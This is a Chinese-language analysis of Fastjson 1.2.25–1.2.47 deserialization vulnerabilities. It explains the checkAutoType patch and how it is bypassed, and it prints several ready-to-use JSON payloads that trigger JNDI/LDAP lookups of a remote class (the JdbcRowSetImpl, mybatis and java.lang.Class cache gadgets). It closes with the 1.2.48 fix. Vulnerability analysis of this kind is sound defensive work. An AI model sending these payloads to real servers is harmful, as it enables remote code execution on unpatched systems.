Fastjson 1.2.25-1.2.47反序列化漏洞分析
字数 1158 2025-08-18 11:35:59
Fastjson 1.2.25-1.2.47反序列化漏洞分析
漏洞概述
Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.25至1.2.47版本中存在反序列化漏洞,攻击者可以通过构造恶意JSON数据实现远程代码执行。该漏洞影响范围广,危害严重。
补丁背景
在Fastjson 1.2.25中引入了checkAutoType机制来修复1.2.22-1.2.24版本的漏洞,其中autoTypeSupport默认为False:
- 当
autoTypeSupport为False时:先黑名单过滤,再白名单过滤,若白名单匹配则加载类,否则报错 - 当
autoTypeSupport为True时:先白名单过滤,匹配成功则加载类,否则再黑名单过滤
补丁绕过方法
需要开启AutoTypeSupport的绕过方式
1.2.25-1.2.41版本绕过
Payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
绕过原理:
- 在类名前加
L和末尾加;绕过黑名单检查 TypeUtils.loadClass会去除开头的L和末尾的;,从而加载真实类
1.2.25-1.2.42版本绕过
Payload:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
绕过原理:
- 使用双重
L和;绕过新增的提取操作 TypeUtils.loadClass会循环调用自身去除多余的L和;
1.2.25-1.2.43版本绕过
Payload:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
绕过原理:
- 利用
[开头的类名处理逻辑 - 通过
Array.newInstance().getClass()获取并返回类 - 需要精确构造JSON格式满足解析条件
1.2.25-1.2.45版本绕过
Payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
利用条件:
- 目标服务端存在mybatis的jar包
- mybatis版本为3.x.x系列且<3.5.0
绕过原理:
- 利用不在黑名单中的
JndiDataSourceFactory类 - 通过
properties参数触发JNDI注入
不需要开启AutoTypeSupport的绕过方式(1.2.25-1.2.47通杀)
Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
绕过原理:
- 利用
java.lang.Class将恶意类加载到Map缓存中 - 第二次解析时从缓存中获取类,绕过
checkAutoType检查
版本差异:
- 1.2.25-1.2.32:未开启AutoTypeSupport时可利用,开启则不能
- 1.2.33-1.2.47:无论是否开启AutoTypeSupport都可利用
1.2.48补丁修复
1.2.48版本中进行了以下修复:
- 将
loadClass时的缓存开关默认设置为False - 将
Class类加入黑名单